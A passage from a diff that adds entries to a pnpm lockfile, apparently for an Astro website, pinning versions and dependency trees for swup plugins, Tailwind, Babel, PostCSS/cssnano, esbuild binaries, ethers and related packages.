'@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/fragment-plugin@1.1.2(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/head-plugin@2.3.1(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/overlay-theme@2.0.1(swup@4.8.2)': + dependencies: + '@swup/theme': 2.1.0(swup@4.8.2) + swup: 4.8.2 + + '@swup/parallel-plugin@0.4.0(@types/babel__core@7.20.5)(swup@4.8.2)': + dependencies: + '@swup/plugin': 3.0.1(@types/babel__core@7.20.5) + swup: 4.8.2 + transitivePeerDependencies: + - '@types/babel__core' + - rolldown + - supports-color + - ts-node + + '@swup/plugin@3.0.1(@types/babel__core@7.20.5)': + dependencies: + '@swup/browserslist-config': 1.0.1 + '@swup/prettier-config': 1.1.0 + chalk: 5.6.2 + microbundle: 0.15.1(@types/babel__core@7.20.5) + prettier: 2.8.8 + shelljs: 0.8.5 + shelljs-live: 0.0.5(shelljs@0.8.5) + swup: 4.8.2 + transitivePeerDependencies: + - '@types/babel__core' + - rolldown + - supports-color + - ts-node + + '@swup/plugin@4.0.0': + dependencies: + swup: 4.8.2 + + '@swup/preload-plugin@3.2.11(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/prettier-config@1.1.0': {} + + '@swup/progress-plugin@3.2.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/route-name-plugin@4.1.0(@types/babel__core@7.20.5)(swup@4.8.2)': + dependencies: + '@swup/plugin': 3.0.1(@types/babel__core@7.20.5) + swup: 4.8.2 + transitivePeerDependencies: + - '@types/babel__core' + - rolldown + - supports-color + - ts-node + + '@swup/scripts-plugin@2.1.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@swup/scroll-plugin@3.3.2(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + scrl: 2.0.0 + swup: 4.8.2 + + '@swup/slide-theme@2.0.1(swup@4.8.2)': + dependencies: + '@swup/theme': 2.1.0(swup@4.8.2) + swup: 4.8.2 + + '@swup/theme@2.1.0(swup@4.8.2)': + dependencies: + '@swup/plugin': 4.0.0 + swup: 4.8.2 + + '@tailwindcss/typography@0.5.19(tailwindcss@3.4.18(yaml@2.7.0))': + dependencies: + postcss-selector-parser: 6.0.10 + tailwindcss: 3.4.18(yaml@2.7.0) + + '@trysound/sax@0.2.0': {} + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.28.4 + '@babel/types': 7.28.4 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.28.0 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.28.4 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.28.4 + '@babel/types': 7.28.4 + + '@types/babel__traverse@7.28.0': + dependencies: + '@babel/types': 7.28.4 + + '@types/debug@4.1.12': + dependencies: + '@types/ms': 2.1.0 + + '@types/estree@0.0.39': {} + + '@types/estree@1.0.8': {} + + '@types/fontkit@2.0.8': + dependencies: + '@types/node': 24.5.2 + + '@types/hast@2.3.10': + dependencies: + '@types/unist': 2.0.11 + + '@types/hast@3.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/katex@0.16.7': {} + + '@types/linkify-it@5.0.0': {} + + '@types/markdown-it@14.1.2': + dependencies: + '@types/linkify-it': 5.0.0 + '@types/mdurl': 2.0.0 + + '@types/mdast@4.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdurl@2.0.0': {} + + '@types/ms@2.1.0': {} + + '@types/nlcst@2.0.3': + dependencies: + '@types/unist': 3.0.3 + + '@types/node@17.0.45': {} + + '@types/node@22.7.5': + dependencies: + undici-types: 6.19.8 + + '@types/node@24.5.1': + dependencies: + undici-types: 7.12.0 + + '@types/node@24.5.2': + dependencies: + undici-types: 7.12.0 + + '@types/parse-json@4.0.2': {} + + '@types/react-dom@19.2.3(@types/react@19.2.6)': + dependencies: + '@types/react': 19.2.6 + + '@types/react@19.2.6': + dependencies: + csstype: 3.2.3 + + '@types/resolve@1.17.1': + dependencies: + '@types/node': 24.5.2 + + '@types/sanitize-html@2.16.0': + dependencies: + htmlparser2: 8.0.2 + + '@types/sax@1.2.7': + dependencies: + '@types/node': 17.0.45 + + '@types/tar@6.1.13': + dependencies: + '@types/node': 24.5.1 + minipass: 4.2.8 + + '@types/unist@2.0.11': {} + + '@types/unist@3.0.3': {} + + '@types/yauzl@2.10.3': + dependencies: + '@types/node': 24.5.2 + optional: true + + '@ungap/structured-clone@1.3.0': {} + + '@vitejs/plugin-react@4.7.0(vite@6.4.1(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0))': + dependencies: + '@babel/core': 7.28.0 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.28.0) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.28.0) + '@rolldown/pluginutils': 1.0.0-beta.27 + '@types/babel__core': 7.20.5 + react-refresh: 0.17.0 + vite: 6.4.1(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + transitivePeerDependencies: + - supports-color + + '@volar/kit@2.4.12(typescript@5.9.3)': + dependencies: + '@volar/language-service': 2.4.12 + '@volar/typescript': 2.4.12 + typesafe-path: 0.2.2 + typescript: 5.9.3 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/language-core@2.4.12': + dependencies: + '@volar/source-map': 2.4.12 + + '@volar/language-server@2.4.12': + dependencies: + '@volar/language-core': 2.4.12 + '@volar/language-service': 2.4.12 + '@volar/typescript': 2.4.12 + path-browserify: 1.0.1 + request-light: 0.7.0 + vscode-languageserver: 9.0.1 + vscode-languageserver-protocol: 3.17.5 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/language-service@2.4.12': + dependencies: + '@volar/language-core': 2.4.12 + vscode-languageserver-protocol: 3.17.5 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/source-map@2.4.12': {} + + '@volar/typescript@2.4.12': + dependencies: + '@volar/language-core': 2.4.12 + path-browserify: 1.0.1 + vscode-uri: 3.1.0 + + '@vscode/emmet-helper@2.11.0': + dependencies: + emmet: 2.4.11 + jsonc-parser: 2.3.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + '@vscode/l10n@0.0.18': {} + + acorn@8.15.0: {} + + aes-js@4.0.0-beta.5: {} + + ajv@8.17.1: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.0.6 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-align@3.0.1: + dependencies: + string-width: 4.2.3 + + ansi-regex@2.1.1: {} + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@2.2.1: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansi-styles@6.2.3: {} + + any-promise@1.3.0: {} + + anymatch@3.1.3: + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.1 + + arg@5.0.2: {} + + argparse@2.0.1: {} + + aria-query@5.3.2: {} + + array-buffer-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + is-array-buffer: 3.0.5 + + array-iterate@2.0.1: {} + + arraybuffer.prototype.slice@1.0.4: + dependencies: + array-buffer-byte-length: 1.0.2 + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + is-array-buffer: 3.0.5 + + astro-expressive-code@0.41.3(astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0)): + dependencies: + astro: 5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0) + rehype-expressive-code: 0.41.3 + + astro-icon@1.1.5: + dependencies: + '@iconify/tools': 4.1.2 + '@iconify/types': 2.0.0 + '@iconify/utils': 2.3.0 + transitivePeerDependencies: + - debug + - supports-color + + astro@5.13.10(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(rollup@2.79.2)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(typescript@5.9.3)(yaml@2.7.0): + dependencies: + '@astrojs/compiler': 2.13.0 + '@astrojs/internal-helpers': 0.7.3 + '@astrojs/markdown-remark': 6.3.7 + '@astrojs/telemetry': 3.3.0 + '@capsizecss/unpack': 2.4.0 + '@oslojs/encoding': 1.1.0 + '@rollup/pluginutils': 5.3.0(rollup@2.79.2) + acorn: 8.15.0 + aria-query: 5.3.2 + axobject-query: 4.1.0 + boxen: 8.0.1 + ci-info: 4.3.0 + clsx: 2.1.1 + common-ancestor-path: 1.0.1 + cookie: 1.0.2 + cssesc: 3.0.0 + debug: 4.4.3 + deterministic-object-hash: 2.0.2 + devalue: 5.3.2 + diff: 5.2.0 + dlv: 1.1.3 + dset: 3.1.4 + es-module-lexer: 1.7.0 + esbuild: 0.25.10 + estree-walker: 3.0.3 + flattie: 1.1.1 + fontace: 0.3.0 + github-slugger: 2.0.0 + html-escaper: 3.0.3 + http-cache-semantics: 4.2.0 + import-meta-resolve: 4.2.0 + js-yaml: 4.1.0 + kleur: 4.1.5 + magic-string: 0.30.19 + magicast: 0.3.5 + mrmime: 2.0.1 + neotraverse: 0.6.18 + p-limit: 6.2.0 + p-queue: 8.1.1 + package-manager-detector: 1.3.0 + picomatch: 4.0.3 + prompts: 2.4.2 + rehype: 13.0.2 + semver: 7.7.2 + shiki: 3.13.0 + smol-toml: 1.4.2 + tinyexec: 0.3.2 + tinyglobby: 0.2.15 + tsconfck: 3.1.6(typescript@5.9.3) + ultrahtml: 1.6.0 + unifont: 0.5.2 + unist-util-visit: 5.0.0 + unstorage: 1.17.1 + vfile: 6.0.3 + vite: 6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0) + vitefu: 1.1.1(vite@6.3.6(@types/node@24.5.2)(jiti@1.21.7)(lightningcss@1.29.3)(sass@1.80.4)(stylus@0.64.0)(terser@5.43.1)(yaml@2.7.0)) + xxhash-wasm: 1.1.0 + yargs-parser: 21.1.1 + yocto-spinner: 0.2.3 + zod: 3.25.76 + zod-to-json-schema: 3.24.6(zod@3.25.76) + zod-to-ts: 1.2.0(typescript@5.9.3)(zod@3.25.76) + optionalDependencies: + sharp: 0.34.4 + transitivePeerDependencies: + - '@azure/app-configuration' + - '@azure/cosmos' + - '@azure/data-tables' + - '@azure/identity' + - '@azure/keyvault-secrets' + - '@azure/storage-blob' + - '@capacitor/preferences' + - '@deno/kv' + - '@netlify/blobs' + - '@planetscale/database' + - '@types/node' + - '@upstash/redis' + - '@vercel/blob' + - '@vercel/functions' + - '@vercel/kv' + - aws4fetch + - db0 + - encoding + - idb-keyval + - ioredis + - jiti + - less + - lightningcss + - rollup + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - typescript + - uploadthing + - yaml + + async-function@1.0.0: {} + + async@3.2.6: {} + + asynckit@0.4.0: {} + + asyncro@3.0.0: {} + + autoprefixer@10.4.21(postcss@8.5.3): + dependencies: + browserslist: 4.24.4 + caniuse-lite: 1.0.30001707 + fraction.js: 4.3.7 + normalize-range: 0.1.2 + picocolors: 1.1.1 + postcss: 8.5.3 + postcss-value-parser: 4.2.0 + + autoprefixer@10.4.21(postcss@8.5.6): + dependencies: + browserslist: 4.24.4 + caniuse-lite: 1.0.30001707 + fraction.js: 4.3.7 + normalize-range: 0.1.2 + picocolors: 1.1.1 + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + available-typed-arrays@1.0.7: + dependencies: + possible-typed-array-names: 1.1.0 + + axios@1.8.4: + dependencies: + follow-redirects: 1.15.9 + form-data: 4.0.2 + proxy-from-env: 1.1.0 + transitivePeerDependencies: + - debug + + axobject-query@4.1.0: {} + + babel-plugin-macros@3.1.0: + dependencies: + '@babel/runtime': 7.27.6 + cosmiconfig: 7.1.0 + resolve: 1.22.10 + + babel-plugin-polyfill-corejs2@0.4.14(@babel/core@7.28.0): + dependencies: + '@babel/compat-data': 7.28.0 + '@babel/core': 7.28.0 + '@babel/helper-define-polyfill-provider': 0.6.5(@babel/core@7.28.0) + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + babel-plugin-polyfill-corejs3@0.13.0(@babel/core@7.28.0): + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-define-polyfill-provider': 0.6.5(@babel/core@7.28.0) + core-js-compat: 3.44.0 + transitivePeerDependencies: + - supports-color + + babel-plugin-polyfill-regenerator@0.6.5(@babel/core@7.28.0): + dependencies: + '@babel/core': 7.28.0 + '@babel/helper-define-polyfill-provider': 0.6.5(@babel/core@7.28.0) + transitivePeerDependencies: + - supports-color + + babel-plugin-transform-async-to-promises@0.8.18: {} + + babel-plugin-transform-replace-expressions@0.2.0(@babel/core@7.28.0): + dependencies: + '@babel/core': 7.28.0 + '@babel/parser': 7.28.4 + + bail@2.0.2: {} + + balanced-match@1.0.2: {} + + base-64@1.0.0: {} + + base64-js@1.5.1: {} + + bcp-47-match@2.0.3: {} + + binary-extensions@2.3.0: {} + + blob-to-buffer@1.2.9: {} + + boolbase@1.0.0: {} + + boxen@8.0.1: + dependencies: + ansi-align: 3.0.1 + camelcase: 8.0.0 + chalk: 5.6.2 + cli-boxes: 3.0.0 + string-width: 7.2.0 + type-fest: 4.41.0 + widest-line: 5.0.0 + wrap-ansi: 9.0.2 + + brace-expansion@1.1.12: + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + + brace-expansion@2.0.1: + dependencies: + balanced-match: 1.0.2 + + brace-expansion@2.0.2: + dependencies: + balanced-match: 1.0.2 + + braces@3.0.3: + dependencies: + fill-range: 7.1.1 + + brotli-size@4.0.0: + dependencies: + duplexer: 0.1.1 + + brotli@1.3.3: + dependencies: + base64-js: 1.5.1 + + browserslist@4.24.4: + dependencies: + caniuse-lite: 1.0.30001707 + electron-to-chromium: 1.5.126 + node-releases: 2.0.19 + update-browserslist-db: 1.1.3(browserslist@4.24.4) + + browserslist@4.25.1: + dependencies: + caniuse-lite: 1.0.30001727 + electron-to-chromium: 1.5.190 + node-releases: 2.0.19 + update-browserslist-db: 1.1.3(browserslist@4.25.1) + + buffer-crc32@0.2.13: {} + + buffer-from@1.1.2: {} + + builtin-modules@3.3.0: {} + + call-bind-apply-helpers@1.0.2: + dependencies: + es-errors: 1.3.0 + function-bind: 1.1.2 + + call-bind@1.0.8: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-define-property: 1.0.1 + get-intrinsic: 1.3.0 + set-function-length: 1.2.2 + + call-bound@1.0.4: + dependencies: + call-bind-apply-helpers: 1.0.2 + get-intrinsic: 1.3.0 + + callsites@3.1.0: {} + + camelcase-css@2.0.1: {} + + camelcase@6.3.0: {} + + camelcase@8.0.0: {} + + caniuse-api@3.0.0: + dependencies: + browserslist: 4.25.1 + caniuse-lite: 1.0.30001727 + lodash.memoize: 4.1.2 + lodash.uniq: 4.5.0 + + caniuse-lite@1.0.30001707: {} + + caniuse-lite@1.0.30001727: {} + + ccount@2.0.1: {} + + chalk@1.1.3: + dependencies: + ansi-styles: 2.2.1 + escape-string-regexp: 1.0.5 + has-ansi: 2.0.0 + strip-ansi: 3.0.1 + supports-color: 2.0.0 + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + + chalk@5.6.2: {} + + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + + character-entities@2.0.2: {} + + character-reference-invalid@2.0.1: {} + + cheerio-select@2.1.0: + dependencies: + boolbase: 1.0.0 + css-select: 5.1.0 + css-what: 6.1.0 + domelementtype: 2.3.0 + domhandler: 5.0.3 + domutils: 3.2.2 + + cheerio@1.0.0: + dependencies: + cheerio-select: 2.1.0 + dom-serializer: 2.0.0 + domhandler: 5.0.3 + domutils: 3.2.2 + encoding-sniffer: 0.2.0 + htmlparser2: 9.1.0 + parse5: 7.2.1 + parse5-htmlparser2-tree-adapter: 7.1.0 + parse5-parser-stream: 7.1.2 + undici: 6.21.2 + whatwg-mimetype: 4.0.0 + + chokidar@3.6.0: + dependencies: + anymatch: 3.1.3 + braces: 3.0.3 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.3 + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + chownr@2.0.0: {} + + ci-info@4.3.0: {} + + class-variance-authority@0.7.1: + dependencies: + clsx: 2.1.1 + + cli-boxes@3.0.0: {} + + cliui@8.0.1: + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 7.0.0 + + clone@2.1.2: {} + + clsx@2.1.1: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + colord@2.9.3: {} + + combined-stream@1.0.8: + dependencies: + delayed-stream: 1.0.0 + + comma-separated-tokens@2.0.3: {} + + commander@2.20.3: {} + + commander@4.1.1: {} + + commander@7.2.0: {} + + commander@8.3.0: {} + + common-ancestor-path@1.0.1: {} + + commondir@1.0.1: {} + + concat-map@0.0.1: {} + + concat-with-sourcemaps@1.1.0: + dependencies: + source-map: 0.6.1 + + confbox@0.1.8: {} + + confbox@0.2.1: {} + + convert-source-map@2.0.0: {} + + cookie-es@1.2.2: {} + + cookie@1.0.2: {} + + core-js-compat@3.44.0: + dependencies: + browserslist: 4.25.1 + + cosmiconfig@7.1.0: + dependencies: + '@types/parse-json': 4.0.2 + import-fresh: 3.3.1 + parse-json: 5.2.0 + path-type: 4.0.0 + yaml: 1.10.2 + + cross-fetch@3.2.0: + dependencies: + node-fetch: 2.7.0 + transitivePeerDependencies: + - encoding + + cross-spawn@7.0.6: + dependencies: + path-key: 3.1.1 + shebang-command: 2.0.0 + which: 2.0.2 + + crossws@0.3.5: + dependencies: + uncrypto: 0.1.3 + + css-declaration-sorter@6.4.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + css-select@4.3.0: + dependencies: + boolbase: 1.0.0 + css-what: 6.2.2 + domhandler: 4.3.1 + domutils: 2.8.0 + nth-check: 2.1.1 + + css-select@5.1.0: + dependencies: + boolbase: 1.0.0 + css-what: 6.1.0 + domhandler: 5.0.3 + domutils: 3.2.2 + nth-check: 2.1.1 + + css-selector-parser@3.1.3: {} + + css-tree@1.1.3: + dependencies: + mdn-data: 2.0.14 + source-map: 0.6.1 + + css-tree@2.2.1: + dependencies: + mdn-data: 2.0.28 + source-map-js: 1.2.1 + + css-tree@2.3.1: + dependencies: + mdn-data: 2.0.30 + source-map-js: 1.2.1 + + css-tree@3.1.0: + dependencies: + mdn-data: 2.12.2 + source-map-js: 1.2.1 + + css-what@6.1.0: {} + + css-what@6.2.2: {} + + cssesc@3.0.0: {} + + cssnano-preset-default@5.2.14(postcss@8.5.6): + dependencies: + css-declaration-sorter: 6.4.1(postcss@8.5.6) + cssnano-utils: 3.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-calc: 8.2.4(postcss@8.5.6) + postcss-colormin: 5.3.1(postcss@8.5.6) + postcss-convert-values: 5.1.3(postcss@8.5.6) + postcss-discard-comments: 5.1.2(postcss@8.5.6) + postcss-discard-duplicates: 5.1.0(postcss@8.5.6) + postcss-discard-empty: 5.1.1(postcss@8.5.6) + postcss-discard-overridden: 5.1.0(postcss@8.5.6) + postcss-merge-longhand: 5.1.7(postcss@8.5.6) + postcss-merge-rules: 5.1.4(postcss@8.5.6) + postcss-minify-font-values: 5.1.0(postcss@8.5.6) + postcss-minify-gradients: 5.1.1(postcss@8.5.6) + postcss-minify-params: 5.1.4(postcss@8.5.6) + postcss-minify-selectors: 5.2.1(postcss@8.5.6) + postcss-normalize-charset: 5.1.0(postcss@8.5.6) + postcss-normalize-display-values: 5.1.0(postcss@8.5.6) + postcss-normalize-positions: 5.1.1(postcss@8.5.6) + postcss-normalize-repeat-style: 5.1.1(postcss@8.5.6) + postcss-normalize-string: 5.1.0(postcss@8.5.6) + postcss-normalize-timing-functions: 5.1.0(postcss@8.5.6) + postcss-normalize-unicode: 5.1.1(postcss@8.5.6) + postcss-normalize-url: 5.1.0(postcss@8.5.6) + postcss-normalize-whitespace: 5.1.1(postcss@8.5.6) + postcss-ordered-values: 5.1.3(postcss@8.5.6) + postcss-reduce-initial: 5.1.2(postcss@8.5.6) + postcss-reduce-transforms: 5.1.0(postcss@8.5.6) + postcss-svgo: 5.1.0(postcss@8.5.6) + postcss-unique-selectors: 5.1.1(postcss@8.5.6) + + cssnano-utils@3.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + cssnano@5.1.15(postcss@8.5.6): + dependencies: + cssnano-preset-default: 5.2.14(postcss@8.5.6) + lilconfig: 2.1.0 + postcss: 8.5.6 + yaml: 1.10.2 + + csso@4.2.0: + dependencies: + css-tree: 1.1.3 + + csso@5.0.5: + dependencies: + css-tree: 2.2.1 + + csstype@3.2.3: {} + + data-view-buffer@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-length@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + data-view-byte-offset@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-data-view: 1.0.2 + + debug@4.4.0: + dependencies: + ms: 2.1.3 + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + decode-named-character-reference@1.1.0: + dependencies: + character-entities: 2.0.2 + + dedent-js@1.0.1: {} + + deepmerge@4.3.1: {} + + define-data-property@1.1.4: + dependencies: + es-define-property: 1.0.1 + es-errors: 1.3.0 + gopd: 1.2.0 + + define-lazy-prop@2.0.0: {} + + define-properties@1.2.1: + dependencies: + define-data-property: 1.1.4 + has-property-descriptors: 1.0.2 + object-keys: 1.1.1 + + defu@6.1.4: {} + + delayed-stream@1.0.0: {} + + delegate-it@6.2.1: + dependencies: + typed-query-selector: 2.12.0 + + dequal@2.0.3: {} + + destr@2.0.5: {} + + detect-libc@1.0.3: + optional: true + + detect-libc@2.1.0: {} + + detect-libc@2.1.1: + optional: true + + deterministic-object-hash@2.0.2: + dependencies: + base-64: 1.0.0 + + devalue@5.3.2: {} + + devlop@1.1.0: + dependencies: + dequal: 2.0.3 + + dfa@1.2.0: {} + + didyoumean@1.2.2: {} + + diff@5.2.0: {} + + direction@2.0.1: {} + + dlv@1.1.3: {} + + dom-serializer@1.4.1: + dependencies: + domelementtype: 2.3.0 + domhandler: 4.3.1 + entities: 2.2.0 + + dom-serializer@2.0.0: + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + entities: 4.5.0 + + domelementtype@2.3.0: {} + + domhandler@4.3.1: + dependencies: + domelementtype: 2.3.0 + + domhandler@5.0.3: + dependencies: + domelementtype: 2.3.0 + + domutils@2.8.0: + dependencies: + dom-serializer: 1.4.1 + domelementtype: 2.3.0 + domhandler: 4.3.1 + + domutils@3.2.2: + dependencies: + dom-serializer: 2.0.0 + domelementtype: 2.3.0 + domhandler: 5.0.3 + + dset@3.1.4: {} + + dunder-proto@1.0.1: + dependencies: + call-bind-apply-helpers: 1.0.2 + es-errors: 1.3.0 + gopd: 1.2.0 + + duplexer@0.1.1: {} + + duplexer@0.1.2: {} + + eastasianwidth@0.2.0: {} + + ejs@3.1.10: + dependencies: + jake: 10.9.2 + + electron-to-chromium@1.5.126: {} + + electron-to-chromium@1.5.190: {} + + emmet@2.4.11: + dependencies: + '@emmetio/abbreviation': 2.3.3 + '@emmetio/css-abbreviation': 2.1.8 + + emoji-regex@10.5.0: {} + + emoji-regex@8.0.0: {} + + emoji-regex@9.2.2: {} + + encoding-sniffer@0.2.0: + dependencies: + iconv-lite: 0.6.3 + whatwg-encoding: 3.1.1 + + end-of-stream@1.4.4: + dependencies: + once: 1.4.0 + + entities@2.2.0: {} + + entities@4.5.0: {} + + entities@6.0.1: {} + + error-ex@1.3.2: + dependencies: + is-arrayish: 0.2.1 + + es-abstract@1.24.0: + dependencies: + array-buffer-byte-length: 1.0.2 + arraybuffer.prototype.slice: 1.0.4 + available-typed-arrays: 1.0.7 + call-bind: 1.0.8 + call-bound: 1.0.4 + data-view-buffer: 1.0.2 + data-view-byte-length: 1.0.2 + data-view-byte-offset: 1.0.1 + es-define-property: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + es-set-tostringtag: 2.1.0 + es-to-primitive: 1.3.0 + function.prototype.name: 1.1.8 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + get-symbol-description: 1.1.0 + globalthis: 1.0.4 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + has-proto: 1.2.0 + has-symbols: 1.1.0 + hasown: 2.0.2 + internal-slot: 1.1.0 + is-array-buffer: 3.0.5 + is-callable: 1.2.7 + is-data-view: 1.0.2 + is-negative-zero: 2.0.3 + is-regex: 1.2.1 + is-set: 2.0.3 + is-shared-array-buffer: 1.0.4 + is-string: 1.1.1 + is-typed-array: 1.1.15 + is-weakref: 1.1.1 + math-intrinsics: 1.1.0 + object-inspect: 1.13.4 + object-keys: 1.1.1 + object.assign: 4.1.7 + own-keys: 1.0.1 + regexp.prototype.flags: 1.5.4 + safe-array-concat: 1.1.3 + safe-push-apply: 1.0.0 + safe-regex-test: 1.1.0 + set-proto: 1.0.0 + stop-iteration-iterator: 1.1.0 + string.prototype.trim: 1.2.10 + string.prototype.trimend: 1.0.9 + string.prototype.trimstart: 1.0.8 + typed-array-buffer: 1.0.3 + typed-array-byte-length: 1.0.3 + typed-array-byte-offset: 1.0.4 + typed-array-length: 1.0.7 + unbox-primitive: 1.1.0 + which-typed-array: 1.1.19 + + es-define-property@1.0.1: {} + + es-errors@1.3.0: {} + + es-module-lexer@1.7.0: {} + + es-object-atoms@1.1.1: + dependencies: + es-errors: 1.3.0 + + es-set-tostringtag@2.1.0: + dependencies: + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + has-tostringtag: 1.0.2 + hasown: 2.0.2 + + es-to-primitive@1.3.0: + dependencies: + is-callable: 1.2.7 + is-date-object: 1.1.0 + is-symbol: 1.1.1 + + esbuild@0.25.10: + optionalDependencies: + '@esbuild/aix-ppc64': 0.25.10 + '@esbuild/android-arm': 0.25.10 + '@esbuild/android-arm64': 0.25.10 + '@esbuild/android-x64': 0.25.10 + '@esbuild/darwin-arm64': 0.25.10 + '@esbuild/darwin-x64': 0.25.10 + '@esbuild/freebsd-arm64': 0.25.10 + '@esbuild/freebsd-x64': 0.25.10 + '@esbuild/linux-arm': 0.25.10 + '@esbuild/linux-arm64': 0.25.10 + '@esbuild/linux-ia32': 0.25.10 + '@esbuild/linux-loong64': 0.25.10 + '@esbuild/linux-mips64el': 0.25.10 + '@esbuild/linux-ppc64': 0.25.10 + '@esbuild/linux-riscv64': 0.25.10 + '@esbuild/linux-s390x': 0.25.10 + '@esbuild/linux-x64': 0.25.10 + '@esbuild/netbsd-arm64': 0.25.10 + '@esbuild/netbsd-x64': 0.25.10 + '@esbuild/openbsd-arm64': 0.25.10 + '@esbuild/openbsd-x64': 0.25.10 + '@esbuild/openharmony-arm64': 0.25.10 + '@esbuild/sunos-x64': 0.25.10 + '@esbuild/win32-arm64': 0.25.10 + '@esbuild/win32-ia32': 0.25.10 + '@esbuild/win32-x64': 0.25.10 + + escalade@3.2.0: {} + + escape-string-regexp@1.0.5: {} + + escape-string-regexp@4.0.0: {} + + escape-string-regexp@5.0.0: {} + + esm-env@1.2.2: {} + + esrap@2.1.0: + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + + estree-walker@0.6.1: {} + + estree-walker@1.0.1: {} + + estree-walker@2.0.2: {} + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.8 + + esutils@2.0.3: {} + + ethers@6.15.0: + dependencies: + '@adraffy/ens-normalize': 1.10.1 + '@noble/curves': 1.2.0 + '@noble/hashes': 1.3.2 + '@types/node': 22.7.5 + aes-js: 4.0.0-beta.5 + tslib: 2.7.0 + ws: 8.17.1 + transitivePeerDependencies: + - bufferutil + - utf-8-validate + + eventemitter3@4.0.7: {} + + eventemitter3@5.0.1: {} + + expressive-code@0.41.3: + dependencies: + '@expressive-code/core': 0.41.3 + '@expressive-code/plugin-frames': 0.41.3 + '@expressive-code/plugin-shiki': 0.41.3 + '@expressive-code/plugin-text-markers': 0.41.3 + + exsolve@1.0.4: {} + + extend@3.0.2: {} + + extract-zip@2.0.1: + dependencies: + debug: 4.4.3 + get-stream: 5.2.0 + yauzl: 2.10.0 + optionalDependencies: + '@types/yauzl': 2.10.3 + transitivePeerDependencies: + - supports-color + + fast-deep-equal@3.1.3: {} + + fast-glob@3.3.3: + dependencies: + '@nodelib/fs.stat': 2.0.5 + '@nodelib/fs.walk': 1.2.8 + glob-parent: 5.1.2 + merge2: 1.4.1 + micromatch: 4.0.8 + + fast-uri@3.0.6: {} + + fast-xml-parser@5.2.3: + dependencies: + strnum: 2.1.1 